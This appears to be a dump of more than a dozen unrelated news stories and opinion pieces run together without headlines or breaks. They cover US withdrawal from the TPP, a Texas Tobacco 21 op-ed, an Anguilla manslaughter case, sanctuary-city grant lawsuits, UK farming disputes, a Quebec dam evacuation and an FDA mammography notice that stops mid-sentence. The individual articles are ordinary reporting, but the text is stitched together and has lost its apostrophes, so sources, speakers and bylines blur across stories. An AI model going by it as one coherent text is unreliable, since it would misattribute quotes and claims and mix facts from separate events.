The United States spent eight years negotiating the Trans-Pacific Partnership (TPP). This 12-country Pacific Rim trade pact was partly designed to build an economic and diplomatic alliance that would keep China, which had been excluded from the deal, in check. But the United States objective was also to open up new markets for U.S.-made products, especially U.S. agricultural goods. A 2016 analysis from the International Trade Commission found that agriculture and food would be the U.S. sector that saw the greatest percentage gain in output growth as a result of the TPP. Greater access to the Japanese market was particularly enticing to U.S. farmers and ranchers. Japan is a wealthy, mature economy where high-income consumers can afford high-end U.S. beef and high-quality U.S. grains but its also an economy that has had high barriers to agricultural trade. And so, as part of the TPP talks, the U.S. trade team spent about a year negotiating one-on-one with Japan about agriculture, with the understanding that whatever concessions the United States won would be granted to the other TPP member countries as well. This allowed us to design the shape of a package that catered to U.S. priorities, explains Darci Vetter, then the chief agricultural negotiator in the office of the U.S. Trade Representative. Of course, some of those priorities overlapped with those of other TPP countries. Both the United States and New Zealand were eager to sell more dairy and wine to Japan, for instance. Both the United States and Canada wanted Japan to lower tariffs on wheat. Which is why other countries were more than happy to let us push for as many concessions as we could. Japan determined that the overall pact would be so valuable that it made the politically contentious choice of agreeing to our requests. Incidentally, the agricultural terms wed negotiated in the TPP also became the template for a trade deal that Japan would separately negotiate with the European Union. President Barack Obama signed the TPP in 2016. But Congress dragged its feet in ratifying it. Among President Trumps first actions after his inauguration was to pull us out of the deal, with generally incoherent reasons for doing so. Disappointed that wed reneged, the remaining 11 TPP countries nonetheless decided to continue without us. Their new deal, sometimes called TPP 2.0, formally went into effect on Dec. 30, 2018. Just over a month later, Japans new trade deal with the European Union became effective. This means that dozens of other countries now benefit from changes we persuaded Japan to make. And our farmers are about to lose out, big time. Japans beef imports were already up 25% in the first two months of 2019 compared with a year earlier, as the Wall Street Journal recently reported. The biggest beneficiaries were Canada and New Zealand. This makes sense: As members of TPP 2.0, they have a huge price advantage. U.S. beef is tariffed at 38.5%, and TPP 2.0 countries beef is now at 26.6%, with further reductions slated for coming years. Even before then, these other countries advantages will widen. If frozen beef imports surpass a certain threshold, as is expected soon, a safeguard tariff will automatically kick in and raise tariffs on our products but not TPP 2.0s members to 50%. With U.S. farmers quietly freaking out, pressure is mounting to seal a new bilateral trade deal with Japan. But rather than coming to Japan hat in hand, were scolding it for keeping its word when we could not be bothered to do the same. By implementing these agreements before addressing our bilateral trade relationship, Japan is effectively redistributing market share away from its strongest ally, the United States, the U.S. ambassador to Japan, William Hagerty, told Nikkei. I asked Vetter what she made of Hagertys remarks. She noted that the whole point of the TPP was to deepen member countries economic and diplomatic ties. From that perspective, then, the Trump administration is just angry that its working. Frankly, she said, you cant leave someone at the altar and then be surprised or upset that theyve moved on. crampell@washpost.com The Texas legislative session opened a few months ago, and at the same time, we celebrated the one-year anniversary of the San Antonio City Councils action to make our city the first in Texas to raise the minimum legal sale age for tobacco from 18 to 21. As we mark this milestone, Texas is poised to pass Tobacco 21 statewide and join the 14 states whose legislatures have already taken this crucial step to protect our kids and dramatically improve the health of future generations. The case for making this change is clear. Among adult smokers, 95% began smoking before they turned 21. Increasing the tobacco age to 21 doesnt just delay smoking, it ensures fewer people ever start. In Texas alone, 10,400 kids become daily smokers every year, and tobacco kills over 28,000 adults annually. Reducing the number of kids who start smoking will have a huge impact on reducing the number of tobacco-related deaths each year. Three years ago, a report by the National Academy of Medicine concluded that increasing the tobacco sale age to 21 would yield substantial public health benefits, including a 25% decline in smoking initiation by 15- to 17-year-olds and a 12% drop in overall smoking prevalence. These findings are supported by at least 450 other counties and cities that have adopted Tobacco 21. The first town in America to raise the tobacco sales age to 21 did so in 2005. Between 2006 and 2010, it reported a 47% reduction in smoking rates at the local high school, a far greater reduction than the surrounding communities that kept the sales age at 18. If those results were repeated in Texas, it would prevent thousands of children from lighting up, which would help avoid debilitating illnesses, steep medical bills, and add years to their lives. There are also economic arguments in favor of raising the age to 21. Tobacco use costs the U.S. about $170 billion in health care spending each year, including $8.8 billion in Texas. Preventing a new generation from the dangers of tobacco will save Texas dollars as well as lives. This policy is backed by 91 trusted health organizations across Texas. The American Cancer Society Cancer Action Network, American Heart Association, American Lung Association, Baylor Scott & White Health, Campaign for Tobacco-Free Kids, March of Dimes, MD Anderson, Texas Medical Association, Texas Nurses Association, Texas Pediatric Society and Texas Public Health Coalition have all called on the Texas Legislature to pass a Tobacco 21 law statewide. The evidence in support of raising the tobacco sales age to 21 is overwhelming. A year after action was taken here in San Antonio, we take pride in the way we stood up for the health and well-being of our citys kids. I hope that a year from now, we will be able to say Texas did the right thing for our youth. As a state, we cannot afford not to. Dr. Colleen Bridger is city of San Antonio interim assistant city manager. Greg Brockhouse is running for mayor of the seventh-largest city in the country, but he threatened to leave a recent debate if questions were raised about an alleged 2009 domestic violence incident. The debate went on without any questions about the alleged incident. But questions should have been raised because the public deserves answers. Brockhouse is a member of City Council who wants to lead San Antonio. He owes an explanation to voters about what happened on the night of Dec. 23, 2009. According to the police report, Brockhouses wife said he had been drinking a lot after losing his job. He screamed at her, threw her to the ground and got on top of her. This has all been reported in the Express-News, which has obtained a copy of the police report. But Brockhouse has refused to acknowledge its existence, and he has said he has no recollection of the incident. But weve seen the report. It has a case number, a badge number for the responding officer and even Brockhouses phone number. It exists. Or at least it once existed. What gives? The assumption among legal experts is the report was somehow expunged. That is, it was removed from the official record. The catch is, these same legal experts have said the report should not have been expunged. Why? Because Brockhouse was never arrested, and expunctions are for wrongful arrests. These would be cases when charges are proven false or dropped. Brockhouse was never charged. The reports disappearance leads to a number of questions that have yet to be answered. Should the report have been expunged? If the answer is no, then how was it removed from the record? And who was responsible for this removal? Unfortunately, it does not appear as if there is any investigation to answer these questions. There should be. Police reports are supposed to be public records. Beyond this, we see some flaws in the process. Namely, there appears to be no mechanism for review of whether an expunction was properly and legally accomplished. Newly elected District Attorney Joe Gonzales, who took office in January and was not a party to any of this, told us its against the law to even acknowledge an expunction occurred. And this is so even if it was done incorrectly. My understanding is even if the person didnt meet the qualifications for an expunction, and wasnt eligible for one, that if the parties agreed to it, then it could happen and it could get expunged, he said. This is deeply problematic. What if everyone is in agreement, but the circumstances still dont lend themselves to a proper expunction? Is that still OK? By all means, if someone was wrongfully charged for something they did not do, there should be no record of that accusation. It should be wiped away. But if an expunction should not have happened, then the rules of expunction should not apply, right? And if there are questions about the validity of an expunction, there has to be a way to investigate. Otherwise, the entire process is ripe for collusion. In this case, even trying to answer these questions if it involves acknowledging the expunction is illegal, say the authorities here. If this appears silly on its face, its because it is. Brockhouse could settle much of this by acknowledging the reports obvious existence and answering questions about what happened. But this is also far bigger than one case. If a record is incorrectly removed, there has to be a way to get that fixed. It belongs to the public. DARIEN A spokeswoman for Gavin Scott Hapgood said Thursday he acted in self-defense during an incident that led to the death of a hotel employee in Anguilla while he and his family were on vacation. Hapgood, 44, of Darien, was charged with manslaughter by the Royal Anguilla Police Force last week in connection with the death of Kenny Mitchel in Anguilla on April 13. Kelcey Kintner, spokeswoman for Hapgood, said he was attacked without warning in his familys hotel room by a maintenance worker who was armed and demanding money. She said Hapgood acted in self-defense to protect the lives of his young daughters and himself. The RAPF spokesman Randy Dick said Hapgoods daughters were in the room when Mitchel was killed at the Malliouhana resort. Despite reports indicating the Hapgoods called maintenance before Mitchel was killed, Kintner said that wasnt the case. Neither invited nor expected, the worker showed up unannounced in uniform at the hotel room, claiming he was there to fix a broken sink before carrying out his sudden, violent attack on the family, she said. She said Hapgood and his family were traumatized by the assault and thankful to be alive. The killing has Facebook comments on the Royal Police Facebook page erupting with speculation some commenters supporting Hapgood, others Mitchel. But the details of what led to the fatal interaction has not been shared by Anguilla police. More for you Police: Darien man killed hotel worker with kids in room Anguilla, a British Overseas Territory, is located in the eastern Caribbean. There is a small main island and several offshore islets. Hapgood and his family were vacationing at a hotel on the West end of Anguilla. The RAPF said around 4 p.m. April 13, officers responded to the hotel for an incident that resulted in the death of one resident of Anguilla. After being arrested and formally charged, Hapgood appeared in court where bail was denied. But a statement from Police Commissioner Paul Morrison said the court ended up granting bail. Thomas Astaphan, Hapgoods local attorney, told the court that his client would return to Anguilla to clear his name, according to the Anguillian, a local newspaper. The Anguillian reported 27-year-old Mitchels death certificate said he died from prone restraint, positional asphyxia and blunt force trauma to the head, neck and torso. A relative of Mitchels sent a Facebook message to Hearst Connecticut Media with a link to a news story and added Our family wants justice. The relative did not respond to a follow up request for an interview or comment. Tensions were high following Mitchels death, which was initially referred to by RAPF police as a homicide investigation. We are not shrouding the case in mystery, we are bound by rules and so are others on what can be said, a statement from Morrison said. We have charged a man in connection with the death of Mr. Mitchel. The court granted bail and we now prepare for the court process and eventual trial. The RAPF public media relations officer provided a statement on Facebook about the scores of comments on its page about what happened. The Royal Anguilla Police Force acknowledges the fact that people want information in respect of the recent arrest and charging of a U.S. tourist, however, like all investigations these are not conducted on social media, the statement said. The comments being made on the RAPF Facebook have no foundation in fact and are likely to incite racial hatred and can prejudice a jury, especially since they will be chosen from among the community of Anguilla. Hapgood is a UBS financial adviser. A representative for UBS told the New York Post they were aware of the events and were following the situation closely, adding that it would not be appropriate to provide any comment in relation to an active criminal proceeding. Includes reporting from the Associated Press. WASHINGTON The state of Connecticut and dozens of towns are mired in a legal standoff with the U.S. Justice Department over millions of dollars in policing grants the Trump administration is withholding from what it considers sanctuary cities. The legal fight is expected to drag on for some time, perhaps reaching the Supreme Court. In the meantime, police departments across the nation have been denied public safety money they have counted upon for decades. In 2017, the Justice Department imposed new conditions on states and municipalities that applied for public safety grants known as the Edward Byrne Memorial Justice Assistance Grants, or Byrne JAG grants. That touched off an avalanche of lawsuits against the Justice Department. The state joined a lawsuit brought by New York, New Jersey, Washington state, Virginia and Massachusetts that called the imposition of the conditions arbitrary and capricious. Norwalk, East Hartford, Hartford, Bridgeport, Stamford, Waterbury and New Haven sued the Justice Department separately as part of a lawsuit led by the city of Evanston, Ill, and the U.S. Conference of Mayors. The plaintiffs all argue that the Trump administrations actions violate federal law and put communities at risk because they can no longer rely on these public safety grants. The lawsuits also say the conditions are unconstitutional since, in authorizing the grants, Congress has not placed those conditions on Byrne grants. These were unprecedented additional requirements imposed on the Byrne JAG grants, said Marc Pelta, Connecticut undersecretary of criminal justice policy and planning. The Justice Department did not respond to several requests for comment. The Trump administration required applicants to certify they allow access to prisons by immigration agents, provide advance notice when prisoners wanted on an immigration detainer are being released, and certify compliance with a federal law, known as Section 1373 of the Aliens and Nationality Act, that says states and localities cant bar officials from communicating with the immigration authorities about citizenship status. Connecticut in 2013 passed the Trust Act, which allows state and local law enforcement agencies to ignore a federal detainer a request to hold an undocumented resident for immigration officials if he or she hasnt committed a serious felony. The state also has a policy of encouraging law enforcement officials to refrain from asking about the immigration status of people they come in contact with. Other Connecticut towns, including Hartford and New Haven, have gone further in their immigrant-friendly policies, bringing on the wrath of the Trump administration, which has dubbed them sanctuary cities. Earlier this month, President Donald Trump threatened to bus migrants detained along the U.S.-Mexico border to these sanctuary cities. New Haven Mayor Toni Harp and Hartford Mayor Luke Bronin reacted to the threat with defiance. Given the continuing dearth of a lucid federal immigration policy, and for as long as Im mayor, New Haven will continue its open-arms tradition for those fleeing oppression in other countries and for those who seek a better life here, Harp said. Filling a gap in police work The Byrne grant program distributes about $300 million in grants to cities and states every year, based largely on a formula which gives larger jurisdictions more money. Connecticut distributes its Byrne grant money to towns that need it, while larger cities in the state make their own, separate applications. Recently, the state has received a little less than $2 million in Byrne grant funding each year. The state has received the grant every year since it was created by Congress about 50 years ago that is, it did until the new certifications were imposed in 2017. Connecticut cities that apply for the grant separately received nearly $1 million in additional Byrne funding each year. Responding to the blizzard of lawsuits, several federal judges issued injunctions last year against the new conditions and the Justice Department was required to release the money for the 2017 Byrne grants. Pelta said Connecticut received its 2017 Byrne grant money, in the amount of about $1.7 million, just last week. It plans to use the money to bolster narcotics enforcement, substance abuse treatment services, and opioid intervention projects at local police departments. They help to fill in the gap in police departments who are responding to upticks in crime, Pelta said. Despite defeats in several federal courts, the Justice Department did not give up on its attempt to tie federal policing funds to collaboration with federal immigration enforcement. Last year, it added two new conditions to qualify for the grants. One requires grantees to certify not to publicly disclose federal law enforcement information in an attempt to conceal, harbor, or shield certain individuals from detection. The other requires grantees to answer a questionnaire regarding their policies on communication with federal immigration authorities. Now the 2018 Byrne grant money is also embroiled in lawsuits. The Justice Department has appealed court decisions that mandated the release of the 2017 grants, and some say the cases will ultimately go to the Supreme Court. One never knows how far this will go, Pelta said. Photo: Contributed Chrystia Freeland, left, at a Castlegar Boston Pizza Wednesday with local Liberal candidate Connie Denesiuk Canadas Minister of Foreign Affairs was in Castlegar Wednesday with South Okanagan-West Kootenay Liberal candidate Connie Denesiuk to meet with party members and work on the renewal Columbia River Treaty. Chrystia Freeland met with Columbia Basin First Nations Leaders and BC Provincial Minister Katrine Conroy at Selkirk College, followed by a visit to a local hydro dam. It was a fantastic opportunity to discuss the importance of the successful Columbia River Treaty to the people of the West Kootenay region, said Denesiuk about her time with Minister Freeland. I also emphasized the tremendous value of the Columbia Basin Trust, which supports numerous projects and initiatives that benefit the region. Freeland attended Denesiuks meet-and-greet event at a Castlegar Boston Pizza. According to a news release from the local Liberal riding association, Freeland espoused party unity as it gears up for the 2019 election. She also took questions from residents on West Kootenay issues. The next round of negotiations for the 55-year-old Columbia River Treaty take place in Washington D.C. on June 19 and 20. U.S. Highway 191 climbs a steep grade out of the Missouri River bottoms north of the bridge at the James Kipp Recreation Area. As it gains the upper extent of the river breaks, a far-reaching, high plains landscape sprawls toward Canada 125 miles to the north. The Little Rockies rise directly ahead, and a rough, rolling prairie flows off to the east. From here, you will experience the vastness of the prairie, seeing firsthand why Montana received the nickname of Big Sky Country. Continuing north, you head through historic landscape, once the domain of the nomadic Plains tribes, toward the valley of the Milk River and the agriculture and ranching community of Malta. Between 1870 and 1900, this was the setting for the true Old West, and Malta might well be considered its capital. Trappers, cattlemen, cowboys and all manner of outlaws wandered through here. Cattle drives up from Texas brought the herds to summer on the regions rich grasslands between the Missouri and Canada. Malta was once the focal point of a vast beef empire and was founded to serve the area ranches. Big cow outfits held sway, and names like Phillips, Coburn, Matador (originally the Circle C Ranch), Reynolds Cattle Company and the Circle Diamond Ranch are all etched in Montanas history. In 1885, the first recorded citizen of Malta, Robert M. Trafton, established a trading post a few miles to the west of what would eventually become the governmental seat of Phillips County. The westward building Great Northern Railroad reached a place called Siding 54 on Aug. 13, 1887, and Trafton moved his store to the new town site in anticipation of increased business. Cowboys and other solitary souls inhabiting these high plains of north-central Montana needed a Saturday night destination, and Malta became that place. And it was as wild as any western movie could depict! The newly minted community needed a proper name. Railroad agents gathering in Minneapolis, blindfolded an employee and had him point his finger to a spot on the globe. Thus Siding 54 was named Malta after an island in the Mediterranean Sea. The railroad helped the ranchers thrive, even after the days of the open range came to an end. In 1910, through the Homestead Act, thousands of would-be farmers flocked to the area. Malta prospered even more as harvests were bountiful, but the drought starting in 1918 and the Great Depression of the 1930s put an end to the dreams of most homesteaders, forcing them to leave. While farming is historically important to the area, it is still primarily considered ranching country, with approximately 77 percent land base used as rangeland. Modern Malta is a far cry from its raucous beginnings. This now peaceful agricultural center is presently home to about 2,000 residents, with the Phillips County Growth Policy stating that more than 100 young families have either returned or moved to Phillips County. Visit http://bit.ly/2VwC0Gp to read the Phillips County Growth Policy. An active Chamber of Commerce and PhillCo Economic Growth Council (a grassroots economic development group) work to honor the rural roots of Malta and Phillips County while remaining resilient in their efforts to foster local commerce in spite of the fluctuating farm and ranch economy. Local leaders note that the farming economy has the potential for improving as cattle prices are up, and the lessons learned in tough times have helped people to be better farmers. Alternative crops, like chickpeas and lentils, are being planted instead of just wheat. In addition to farming, the natural gas industry and telecommunications play important roles in the local economy. With fiber-optics technologies, internet speeds of up to 1G and excellent mobile coverage, living and working remotely is the new opportunity for the region, even in the most rural areas. Authors note: Thank you to Anne Booth from Malta for helping to provide up-to-date information. Scotlands hill farmers should be worried that Scottish government promises to uphold support payments in less favoured areas may not be upheld, MSPs have heard. Less Favoured Area Support Scheme (LFASS) payments are administered to farming businesses in areas of natural constraint. Compulsory changes to EU regulations mean payments must drop to 80% this year and 40% in 2020. On January 10, the Scottish government's rural economy secretary promised in the Holyrood chamber that Less Favoured Areas Support Scheme (LFASS) payments would not fall below 80% of current levels in this year or next. However, MSPs heard Fergus Ewing was unable to update Holyroods rural economy and connectivity committee on progress for 2020. North East MSP, Peter Chapman told Mr Ewing that there is a 'real danger' that levels will be cut. I have heard nothing from you, Cabinet Secretary, or your support members here that anything has been achieved, he said. You spoke about a workaround months ago and youve used that same phrase today, that youre trying desperately for a workaround. I hear nothing that gives me or hill farmers across Scotland any comfort that youre achieving anything towards doing that. Mr Chapman added: I would be very worried, as most of the farming community will be, that youre really not achieving much. The Scottish Conservative MSP also said the reduced LFASS share will save the Scottish government money because the EU income will still come in at the same level. Mr Ewing denied this. However, the SNP-led Scottish governments own budget document for 2019/20 shows a 20% cut to LFASS spending from 65.5m to 52.4m. Mr Ewing said he had worked to maintain LFASS at 100% this year, although the decision had been taken by the EU Parliament. He said: Im absolutely determined to find a workaround but these things are not straightforward. NFU Scotland previously warned the net result of cuts to LFASS, unless reversed, will be a further demise of the more extensive livestock sectors, the red meat sector in general, the Scotch brand it underpins, and the risk of yet more land abandonment in some quarters. Belfast-based Dale Farm, a co-op of 1,300 dairy farmers from across the UK, has announced it will end production at its Fivemiletown cheese factory. The dairy business said the creamery, located in County Tyrone, Northern Ireland, is 'no longer feasible'. Production will be moved back to the Cullybackey plant in June. The firm has leased the factory from Fivemiletown & Brookeborough Co-op since 2014 after buying their speciality cheese brands. The company said: Following careful consideration, maintaining production of Fivemiletown cheese at the Fivemiletown site was deemed no longer feasible. Dale Farm is keen to ensure the Fivemiletown brand remains active in Northern Ireland and will continue to produce Fivemiletown goat's cheese. The move puts 18 jobs at risk. Dale Farm, one of Northern Ireland's largest food businesses, has an annual turnover of around 500m. Farmers and the wider rural sector have united to demand the 'chaos' caused by Natural Englands decision to change general licences, to allow control of certain species of birds, is resolved as quickly as possible. Natural England has temporarily withdrawn current general licences from Thursday 25 April. It covers 16 species of birds including several members of the crow family, Canada goose, some gulls and pigeons. The statutory agency is due to start issuing new licences from 29 April 2019, but farmers fear there will be 'huge uncertainty' as this has yet to be consulted on. Following the unexpected announcement, organisations such as the NFU, Country Land and Business Association (CLA) and the Countryside Alliance have come together to demand that the next set of licences are implemented quickly, and are simple to understand and use. The general licence has been an effective management tool for farmers, pest controllers and conservationists for decades. But numerous rural groups say that for Natural England to give only 36 hours notice that the licences were to be withdrawn, especially during a vital time of the year for wildlife management, is 'unacceptable'. According to the Countryside Alliance, Natural England knew of their plans in February but did not inform any one publicly until April 23. Tim Bonner, Chief Executive Countryside Alliance, said: We have united as a group of organisations to ensure Natural Englands next decision is in the interest of the thousands of farmers, pest controllers and conservationists that use the General Licence for the benefit of our countryside. Natural England should stick to their principles instead of bowing down to animal rights pressure groups. Tim Breitmeyer, CLA President said the 'abrupt halt' has left farmers and landowners in 'complete limbo', unsure of what they can do to protect their crops, young livestock or farmland birds. A burdensome administrative process will only exacerbate the unintended consequences of an ill thought-through decision, he said. This time Natural England has to get it right and ensure that the likely flood of new applications are dealt with speedily and efficiently. The National Gamekeepers Organisation (NGO) said the move by Natural England has been made a 'shambles', saying: We are united with other like-minded organisations in demanding a return to workable General Licensing within the shortest possible time. Once that has been secured, there must surely be consequences for those at NE who have made serious mistakes and miscalculations. On social media, some farmers and landowners blamed conservationists and green groups for pulling Natural England's strings in making the decision. Fred Love, who farms in Nottinghamshire, shared a viral video on Twitter showing a dead lamb which had apparently been killed by a crow. Farmers' leaders are seeking clarification following indications that one of the United Kingdom's biggest supermarket groups could abandon barn eggs. Concerns were raised after a barn egg producer in Northern Ireland reportedly said he had been informed that Sainsbury's would not stock barn eggs beyond the end of March next year. It had been believed that retailers would adopt barn eggs as their value offering as they moved towards a cage-free commitment by 2025. Sainsbury's would neither confirm nor deny that it was abandoning barn eggs, but Robert Gooch, chief executive of the British Free Range Egg Producers Association (BFREPA) said he was seeking clarification. BFREPA is in contact with Sainsbury's to establish what its future policy will be on stocking barn eggs, he said. Our view is when retailers and food service companies deliver their cage-free pledges there must be a value egg available on the shelf. Our hope and expectation is that barn production will fill that demand. It would be disappointing for any retailer to decide against stocking barn eggs to give consumers choice at a variety of price points. My members are already experiencing significant price pressure and can ill afford for their product to become the budget option, he said. 'Total bolt from the blue' Questions were raised when a barn egg producer in Loughgall, County Armagh, Paul Conway, said he had been told by Skea Eggs that Sainsbury's would stop taking barn eggs and that the packer had no alternative market for them. He told free range egg magazine The Ranger that Skea had been told in one sentence in a notice from Sainsbury's that the supermarket would no longer be taking barn eggs from April 1, 2020. This has come as a total bolt from the blue. We had no warning of it all. The management of Skea Eggs has told us that they have no alternative market for our eggs at the present time. If this remains the case, it's inevitable that all the producers affected will go out of business. He said, We do not have the scope to convert to free range production. What makes this all the more galling is the fact that management from Sainsburys was on my farm not that long ago, expressing delight at the job barn egg producers in Northern Ireland were doing for them at that time. He said he still had five years' payments to make on a second shed he had put up in 2014 because of the demand for barn eggs. That was costing him 2,000 a month. The Ranger asked Sainsbury's to confirm that it would stop sourcing barn eggs. The company issued a statement, saying: In order to meet increasing demand for free range eggs while offering the best possible value, we recently made some updates to our supplier base. We are working closely with our suppliers to ensure a smooth transition and supporting them in any way we can. The Ranger asked again whether Sainbury's would no longer stock barn eggs. The company replied: Were working to meet increasing demand for free range eggs. We wouldnt comment further for competitive reasons. 'Major concern' The Ulster Farmers Union (UFU) has also raised concern about what it is happening. UFU deputy president, David Brown said: The UFU is investigating the claim that Sainsbury's has decided to not stock barn eggs from 1st April 2020 and is seeking urgent clarity from the retailer. If this is the case, it is a major concern and would obviously have a significant impact on a number of barn egg producers. UFU deputy president, David Brown said there is a 'major concern' over the potential impact on barn egg producers While we recognise supermarket commercial decisions are driven by consumer demand, we would encourage retailers to consider the impact on primary producers. He added: In the egg sector, many producers have made 10-15 year investments and have substantial debt against houses. They are not able to change course quickly due to business infrastructure and cash flow. With consumer tastes changing rapidly, it is a tremendously uncertain time for egg producers and retailers must provide clarity for suppliers as the industry transitions towards cage free egg production by 2025, Mr Brown said. Commitment to move away from cage eggs All major retailers in the UK and some leading food manufacturers have committed to moving away from using cage eggs by 2025, following pressure from animal welfare campaigners. Egg producers have been calling for greater clarity from retailers about what will replace the birds currently in enriched colony units, although Tesco has said that the supermarket would buy barn as a value product. This was confirmed at the annual conference of BFREPA, when Tesco agricultural manager John Kirkpatrick said that Britain's biggest supermarket would be buying barn eggs. The commitment to move to cage-free in the UK started in the summer of 2016, when Tesco announced that it would stop sourcing cage eggs by 2025. This followed the success of an online petition started by a 14-year-old girl from Sheffield. She initially targeted Tesco with a call to stop selling cage eggs. The petition went viral. After Tesco announced that it would move away from cage eggs, other retailers, including Asda, Morrisons and the discounters Aldi and Lidl, also made cage-free declarations. Sainsbury's, Marks & Spencer and Waitrose had already stopped selling eggs from cages some years ago. Since then, Morrisons, Britain's fourth biggest supermarket, has announced that it will bring forward the date by which it intends to go cage-free to 2022. In the United Kingdom more than half of shell eggs sold in retail are now produced in free range units and free range is continuing to drive growth in consumption. Farmers have called for Scotland's 'farm fund shortfall' of almost 190m to be addressed following a 'flawed' decision by government to share the dividend across the UK. The divided of 223 million (190m) came about as a result of Scotlands low payment rate per hectare (approx. 130 per ha). The UK was awarded the sum in 2013 as part of EU CAP reforms. Scotlands below average area payment rates is around 45 per cent of the EU average. Consequently, the UK will receive the 190m over the period 2014 to 2020. However, the UK government chose to share this dividend across the whole of the country based on historic allocations, a decision the Scottish farming industry believes was 'fundamentally flawed'. NFU Scotland has now said that Scotlands farm funding shortfall must be addressed in the current Review of Intra-UK Allocation of Domestic Farm Funding, being led by Lord Bew. The original decision on the distribution of additional EU farm funding was taken by the UK government in 2013 and, since then, NFU Scotland has repeatedly called for, and received pledges from successive Defra ministers, that the decision would be subject to review. The process is under way and the union has responded to Lord Bews Independent Review. It has copied its response to Scottish governments representative on the review panel, former NFU Scotland President Jim Walker. The stated objective of the review is to look at what factors should be taken into account to ensure an equitable intra-UK allocation of domestic farm support funding. NFU Scotland President, Andrew McCornick said the convergence dividend issue 'must be fairly resolved to deliver the growth potential' of the Scottish farming industry. There remains no objective or rational justification for historic allocations - either now, or between 2020 and 2022, or beyond 2022 - and such an approach remains completely at odds with the European Commissions rationale for the uplift, he said. Notwithstanding the final outcomes of the most recent extension to the Article 50 process, possibly to 31 October 2019, the UK will continue to be effectively governed by EU rules and regulations and be a participant in CAP schemes, until well into the period 2020 to 2022 to be covered by the Review. As a result, NFU Scotland is adamant that the UKs CAP budget convergence dividend issue must be resolved fairly, by using objective and non-discriminatory criteria, to ensure a fair intra-UK allocation of agricultural funding to 2022. NFU Scotland said the review is not just about the CAP convergence funds and their allocation, but also about setting a 'fair and objective precedent' post-Brexit. A global agricultural company will join forces with multinational IT giant IBM to develop the worlds leading digital farming platform. The platform, to be created by the US company and Yara International, will provide holistic digital services and instant agronomic advice that hopes to increase global food production. Yara, a Norway-based crop nutrition company, will use IBM's expertise in artificial intelligence and data analytics to 'responsibly feed a growing population'. The two companies will develop digital solutions that aims to empower farmers to optimise farming practices to increase yields, crop quality and incomes in a sustainable way. The digital platform will have worldwide coverage and aspires to reach 100 million hectares of farmland which is equivalent to twice the size of Spain or close to 7 percent of all arable land worldwide including millions of smallholder farms. Luq Niazi, of IBM, said the digital farming platform will play a 'key role' in increasing global farming yields in a sustainable way. The collaboration is a perfect symbiosis of IBMs capabilities in AI, big data management and blockchain technology and Yaras agronomic knowledge, farmer- centric digital innovation, and proven track record in improving farming across the globe. As a first step, the companies will establish teams collaborating at digital hubs in Europe, Singapore, the US and Brazil. They will work closely with IBM researchers to develop new capabilities, such as visual analytics and machine learning techniques for crop insights. The first services are planned for end 2019. Weather data The partnership will focus on all aspects of farm optimisation. But one specific area of collaboration will be weather data, which is critical for farming. It will provide hyperlocal weather forecasts and give real-time actionable recommendations, tailored to the specific needs of individual fields and crops. As the joint digital farming platform expands, the teams will explore business solutions to integrate the joint platform into the IBM Food Trust, IBMs blockchain-enabled network of food chain players. IBM says this will allow for greater traceability and supply chain efficiency as well as ways to tackle food fraud, food waste and sustainability. The partnership contract was signed in April 2019. Photo: The Canadian Press Residents evacuate the area after an alert that the Bell-Chute dam is at risk of failing Thursday. Quebec public security officials called for the immediate evacuation of an area along the Rouge River west of Montreal on Thursday because of the risk a hydro dam could fail. Simon Racicot, director of production and maintenance with Hydro-Quebec, told reporters the dam at Chute Bell was built to withstand what he called a millennial flood. "That means a flood that happens every 1,000 years," he said. Hydro workers discovered earlier in the day the millennial level of water had been reached. "We are confident that the structure is solid," Racicot said. "But the protocols force us to warn people of the danger. We are entering into an unknown zone right now completely unknown." The largely rural section of river affected is in Quebec's Lower Laurentians region, about 140 kilometres west of Montreal, stretching about 18 kilometres south to the Ottawa River. Public Security Minister Genevieve Guilbault told reporters Thursday evening the province's hydro utility is confident the dam can hold back its current water reservoir and is structurally sound. "But we are expecting more rain over the coming hours and days, so the water levels of the Rouge River can rise," she said in Montreal. Guilbault said there are 23 residences and 38 cottages in the evacuation zone along the river. Quebec provincial police tweeted they were helping about 250 people get clear of the affected area as a preventive measure. Provincial police spokesman Daniel Thibaudeau said 40 people had been removed to safety as of 7:30 p.m. Thursday, and the remainder would be taken out over the course of the evening. Several dozen officers were taking part in the operation with the aid of all-terrain vehicles and helicopters. About a dozen people living in areas not easily reached by land were airlifted out. Date Issued April 26, 2019 Audience Patients who had a mammogram(s) at East Palestine Family Medical Clinic, located in East Palestine, Ohio, any time on or after March 28, 2017. Health care providers who may discuss this Safety Notice with patients of East Palestine Family Medical Clinic, located in East Palestine, Ohio, about a mammogram(s) performed on or after March 28, 2017. Medical Specialty Primary Care, Family Medicine, Internal Medicine, Obstetrics and Gynecology, Radiation Oncology, Radiology, General Surgery, Breast Surgery. Product A mammogram is a safe, low-dose, X-ray picture of the breast. It is currently the most effective primary method of detecting breast cancer in its earliest, most treatable stages. Purpose The U.S. Food and Drug Administration (FDA) is alerting patients who had a mammogram(s) at East Palestine Family Medical Clinic, located in East Palestine, Ohio, on or after March 28, 2017, about possible problems with the quality of their mammograms. The purpose of the notification is to communicate to health care providers and patients that they should consider having these mammograms re-evaluated at a Mammography Quality Standards Act-certified facility to determine if a repeat mammogram or additional medical follow-up is needed. Patients or their representatives have the right to request their mammograms and copies of their medical reports from East Palestine Family Medical Clinic. Summary of Problem or Scope The FDA became aware of problems associated with the quality of mammograms performed at East Palestine Family Medical Clinic located at the following address: 50410 State Rt. 14 East Palestine, OH 44413 The results of an annual Mammography Quality Standards Act inspection of this facility in October 2018 indicated that the facility was unable to meet the parameters for a key quality control test on the day of the 2018 annual inspection. The facility also failed to meet quality control parameters dating back to October 2017, based on a review of the facilitys quality control records. As a result, the FDA notified the facility that it was required to undergo an Additional Mammography Review to determine if the overall quality of mammography performed at the facility was compromised due to the failure of the facility to operate in compliance with the Mammography Quality Standards Act. The American College of Radiology conducted an Additional Mammography Review of mammograms performed by East Palestine Family Medical Clinic, and the results indicated the mammograms did not meet the American College of Radiology's clinical image evaluation criteria. On April 1, 2019, the American College of Radiology revoked the facility's accreditation, and on April 2, 2019, the FDA placed the facility's Mammography Quality Standards Act certificate in a "no longer in effect" status. Under the Mammography Quality Standards Act of 1992, the FDA requires that all mammography facilities meet certain baseline quality standards and be certified to legally operate in the United States. This facility does not meet the standards for mammography quality under that Act. This facility must no longer perform mammograms, as it does not have an active Mammography Quality Standards Act certificate. On March 28, 2019, the FDA directed the facility's CEO to notify all patients who received mammograms at East Palestine Family Medical Clinic on or after March 28, 2017, which represents a two-year screening window back from the date of the notification order, about the problems with the mammography quality at the facility. To date, the facility has not performed the ordered notifications. Recommendations and Actions The FDA 